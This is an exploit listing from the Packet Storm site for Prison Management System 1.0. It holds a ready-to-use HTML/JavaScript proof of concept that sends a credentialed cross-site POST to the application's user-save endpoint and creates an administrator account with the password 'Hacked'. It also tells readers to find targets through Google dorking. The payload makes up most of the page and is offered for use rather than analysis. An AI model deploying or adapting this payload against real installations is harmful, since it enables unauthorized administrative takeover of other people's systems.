Prison Management System 1.0 Add Administrator ≈ Packet Storm

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

Prison Management System 1.0 Add Administrator^[6]: Authored by indoushka ^[7]; Prison Management System version 1.0 suffers from an add administrator vulnerability.; SHA-256 | a25a824e97167db71e31b2009a9c44afedb55532be1b9ffa63f063ebf5479933; Download ^[8] | Favorite ^[9] | View ^[10]

=============================================================================================================================================
| # Title     : Prison Management System v1.0 Add Admin Vulnerability                                                                       |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/PHP-pms.zip                                           |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] This HTML page is designed to create a file and inject PHP code.
[+] save payload as poc.html 
[+] line 6,Set your target.
[+] payload : 
<!DOCTYPE html> 
<html> 
<body>
<script> function submitRequest() 
{ var xhr = new XMLHttpRequest(); 
xhr.open("POST", "http:\/\/127.0.0.1\/pms\/classes\/Users.php?f=save", true); 
xhr.setRequestHeader("Accept", "*\/*"); 
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------");
xhr.withCredentials = true; 
var body =
"-----------------------------\r\n" + 
"Content-Disposition: form-data; name=\"username\"\r\n" + 
"\r\n" + 
"indoushka\r\n" + 
"-----------------------------\r\n" + 
"Content-Disposition: form-data; name=\"password\"\r\n" + 
"\r\n" + 
"Hacked\r\n" + 
"-----------------------------\r\n" + 
"Content-Disposition: form-data; name=\"type\"\r\n" + 
"\r\n" + 
"1\r\n" + 
"-------------------------------\r\n"; 
var aBody = new Uint8Array(body.length); 
for (var i = 0; i < aBody.length; i++) 
aBody[i] = body.charCodeAt(i); 
xhr.send(new Blob([aBody])); 
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form> 
</body> 
</html>
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================